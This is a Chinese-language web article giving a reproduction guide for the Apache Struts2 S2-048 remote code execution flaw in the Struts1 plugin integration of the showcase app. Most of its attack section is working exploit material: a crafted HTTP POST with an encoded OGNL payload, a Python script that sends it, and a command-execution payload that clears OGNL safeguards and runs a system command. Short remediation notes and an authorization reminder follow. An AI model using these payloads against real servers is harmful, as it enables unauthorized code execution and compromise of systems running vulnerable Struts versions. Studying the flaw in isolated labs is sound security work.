插件窝 干货文章 怎么进行Apache Struts2--048远程代码执行漏洞复现

怎么进行Apache Struts2--048远程代码执行漏洞复现

复现 漏洞 Struts showcase 607    来源:    2025-04-26

Apache Struts2 S2-048 远程代码执行漏洞复现指南

漏洞概述

Apache Struts2 S2-048是一个远程代码执行漏洞,影响Struts 2.3.x系列版本。该漏洞源于Struts2的Struts1插件在处理ActionMessage类时存在缺陷,攻击者可以构造恶意的OGNL表达式实现远程代码执行。

漏洞影响版本

  • Struts 2.3.x 系列中 2.3.20 到 2.3.28 (不包括 2.3.20.3 和 2.3.24.3)

复现环境准备

  1. 搭建漏洞环境

    • 下载受影响版本的Struts2演示应用(如struts2-showcase-2.3.28.war)
    • 部署到Tomcat或其他Java应用服务器
  2. 工具准备

    • Burp Suite 或 Postman
    • 浏览器
    • 可选的漏洞验证脚本(Python)

复现步骤

方法一:通过Web界面复现

  1. 访问Struts2 Showcase应用中的Struts1集成页面(通常路径为/struts2-showcase/integration/saveGangster.action)

  2. 构造恶意请求:

    POST /struts2-showcase/integration/saveGangster.action HTTP/1.1
    Host: target.com
    Content-Type: application/x-www-form-urlencoded
    
    name=test&age=20&__checkbox_bustedBefore=true&description=%25%7B(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23_memberAccess%3D%23dm).(%23res%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()).(%23res.println(%22Hello%20S2-048%22)).(%23res.close())%7D
    
  3. 如果漏洞存在,响应中会包含"Hello S2-048"字符串

方法二:使用Python脚本复现

import requests

url = "http://target.com/struts2-showcase/integration/saveGangster.action"
payload = "%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \
          "(#_memberAccess=#dm)." \
          "(#res=@org.apache.struts2.ServletActionContext@getResponse().getWriter())." \
          "(#res.println('S2-048_Exploited'))." \
          "(#res.close())}"

data = {
    "name": "test",
    "age": "20",
    "__checkbox_bustedBefore": "true",
    "description": payload
}

response = requests.post(url, data=data)
print(response.text)

方法三:执行系统命令

替换payload部分为以下内容可执行系统命令(如id):

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

修复建议

  1. 升级到Struts 2.3.32或更高版本
  2. 如果不能立即升级,可临时禁用Struts1插件
  3. 在web.xml中添加过滤器拦截恶意请求

注意事项

  1. 复现漏洞前请确保获得目标系统所有者的授权
  2. 在生产环境测试可能造成系统不稳定或数据丢失
  3. 建议在隔离的测试环境中进行复现

如需更详细的复现过程或遇到问题,可以提供更多环境信息,我可以给出更有针对性的建议。